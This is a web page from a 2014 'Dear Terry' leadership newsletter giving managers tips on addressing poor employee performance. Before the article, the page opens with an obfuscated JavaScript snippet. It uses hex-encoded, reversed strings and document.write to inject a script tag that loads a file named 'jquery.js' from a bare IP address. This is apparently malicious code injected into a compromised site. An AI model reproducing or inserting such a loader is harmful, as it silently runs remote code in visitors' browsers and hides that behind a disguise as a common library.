var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Dear Terry – I Field Your Questions (July 2014) – Unleash your Leadership Potential

Dear Terry – I Field Your Questions (July 2014)

Cheryl from Charlotte: We have a lot of poor performers who don’t receive the coaching they should be getting to get them to shape up. Our managers are reluctant to step up to their responsibilities. Help!

Terry: Cheryl, first let’s differentiate coaching from difficult conversations/problem solving/corrective action. Coaching is used to take acceptable or even good performance to great. Difficult/corrective action conversations are used to take Unacceptable performance to at least acceptable. They are very different conversations.

While it would be impossible to cover difficult conversations in this newsletter, let me provide several tips:

  1. Managers need to know the impact of NOT addressing these performance issues. Morale, productivity, and the perception others have of them as leaders all suffer.
  2. Managers need to know WHY performance may be suffering. Some performance issues like coming in late are fairly straightforward. Others, like constantly missing deadlines, require additional investigation. I recommend using our Performance Checklist mobile app; check out for more insights into the reasons an employee may not be performing as you want.
  3. Managers should be specific and objective about the performance or behavior. Don’t say, “You’re always angry with your colleagues.” Instead say, “I’ve noticed that you have been raising your voice with colleagues; this morning for example…
  4. Managers need to identify the impact of the performance or behavior on the person, the team, the business unit, the customer, you, etc. Most of the time, a poor-performer many not grasp the impact their behavior has on others. And often, just realizing the impact is enough for some employees to turn around their behavior.
  5. While collaborating on an acceptable solution is beneficial, often the manager may need to provide clear and unequivocal direction to the employee.

Read more valuable leadership and management-related articles in this month’s Unleash Your Leadership Potential newsletter…

July 2014

Author: STEP Consulting